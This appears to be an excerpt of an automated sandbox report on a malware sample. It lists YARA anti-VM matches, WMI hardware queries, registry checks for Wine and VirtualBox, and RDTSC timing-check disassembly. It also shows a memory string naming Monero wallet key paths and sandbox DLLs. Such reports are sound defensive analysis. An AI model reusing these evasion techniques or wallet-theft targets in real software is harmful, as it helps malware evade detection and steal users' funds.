Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 23.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.7wpHB_IZvVwIDf0EgO_TfPH6.exe.32b5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.7wpHB_IZvVwIDf0EgO_TfPH6.exe.32b5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2753591127.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gobEmOm5sr.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7wpHB_IZvVwIDf0EgO_TfPH6.exe PID: 8048, type: MEMORYSTR

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_2-48959

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 7wpHB_IZvVwIDf0EgO_TfPH6.exe, 0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\*.*\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL16:28:0516:28:0516:28:0516:28:0516:28:0516:28:05DELAYS.TMP%S%SNTDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E241C7 second address: E241CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E241CB second address: E241ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8C24FD04D7h 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E2430E second address: E2431F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jc 00007F8C2504F38Ch 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E2431F second address: E2434E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8C24FD04D5h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F8C24FD04CDh 0x0000000f jno 00007F8C24FD04CCh 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jns 00007F8C24FD04CCh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E2434E second address: E24352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E25E36 second address: E25E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F8C24FD04CDh 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 jne 00007F8C24FD04C6h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E25E5E second address: E25E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d jc 00007F8C2504F393h 0x00000013 jmp 00007F8C2504F38Dh 0x00000018 push edi 0x00000019 pushad 0x0000001a popad 0x0000001b pop edi 0x0000001c popad 0x0000001d mov eax, dword ptr [eax] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jmp 00007F8C2504F38Dh 0x00000027 push ecx 0x00000028 pop ecx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E25F6F second address: E25F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E25F75 second address: E25FE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d jmp 00007F8C2504F38Bh 0x00000012 pop eax 0x00000013 pop eax 0x00000014 js 00007F8C2504F3A3h 0x0000001a call 00007F8C2504F396h 0x0000001f jnl 00007F8C2504F386h 0x00000025 pop edi 0x00000026 push 00000003h 0x00000028 mov dh, bh 0x0000002a push 00000000h 0x0000002c mov cx, si 0x0000002f jnp 00007F8C2504F38Ch 0x00000035 or esi, dword ptr [ebp+122D3916h] 0x0000003b push 00000003h 0x0000003d call 00007F8C2504F38Eh 0x00000042 pop edx 0x00000043 push 8341DC5Eh 0x00000048 push edi 0x00000049 push esi 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E25FE1 second address: E26031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 add dword ptr [esp], 3CBE23A2h 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F8C24FD04C8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 movzx edx, cx 0x0000002a lea ebx, dword ptr [ebp+12455D5Bh] 0x00000030 or si, 5728h 0x00000035 xchg eax, ebx 0x00000036 push esi 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F8C24FD04D2h 0x0000003e rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E26031 second address: E2604B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8C2504F386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F8C2504F38Ch 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E260F7 second address: E2612D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edx, 0F4D857Ah 0x0000000f push 00000000h 0x00000011 ja 00007F8C24FD04CCh 0x00000017 call 00007F8C24FD04C9h 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F8C24FD04CDh 0x00000024 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E2612D second address: E26131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E26131 second address: E2613E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E2613E second address: E26170 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jp 00007F8C2504F386h 0x0000000f popad 0x00000010 popad 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push esi 0x00000016 pushad 0x00000017 jmp 00007F8C2504F399h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E26170 second address: E2618F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007F8C24FD04D1h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E2618F second address: E26194 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E26194 second address: E261B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F8C24FD04CEh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E261B3 second address: E261B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E261B9 second address: E261BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E261BD second address: E26217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov dl, 20h 0x0000000b push 00000003h 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F8C2504F388h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+122D3B2Ah] 0x0000002d push 00000000h 0x0000002f jc 00007F8C2504F386h 0x00000035 push 00000003h 0x00000037 mov dword ptr [ebp+122D1A83h], ecx 0x0000003d push A033054Dh 0x00000042 push eax 0x00000043 push edx 0x00000044 jnl 00007F8C2504F38Ch 0x0000004a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E26217 second address: E2621D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E2621D second address: E26221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E26351 second address: E263DE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8C24FD04CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 383032B6h 0x00000011 xor ch, FFFFFF8Bh 0x00000014 push 00000003h 0x00000016 call 00007F8C24FD04D2h 0x0000001b pop ecx 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+122D2D42h], ebx 0x00000024 push 00000003h 0x00000026 push edx 0x00000027 jmp 00007F8C24FD04D0h 0x0000002c pop ecx 0x0000002d call 00007F8C24FD04C9h 0x00000032 jo 00007F8C24FD04D2h 0x00000038 jnc 00007F8C24FD04CCh 0x0000003e push eax 0x0000003f jmp 00007F8C24FD04D8h 0x00000044 mov eax, dword ptr [esp+04h] 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c jbe 00007F8C24FD04C6h 0x00000052 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E263DE second address: E263E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E263E4 second address: E26402 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F8C24FD04D0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push ecx 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E4607B second address: E460AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F8C2504F38Dh 0x0000000f jmp 00007F8C2504F399h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E460AC second address: E460C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C24FD04D8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E460C9 second address: E460CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E460CF second address: E460DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E460DC second address: E460E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E460E0 second address: E460F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C24FD04D0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E46370 second address: E4637F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jnp 00007F8C2504F386h 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E4650E second address: E46518 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E46A39 second address: E46A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E46A3D second address: E46A5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C24FD04D1h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c js 00007F8C24FD04C6h 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E46A5C second address: E46A8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F390h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8C2504F397h 0x00000012 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E46A8B second address: E46A9F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d jnl 00007F8C24FD04C6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E46BD9 second address: E46BDE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
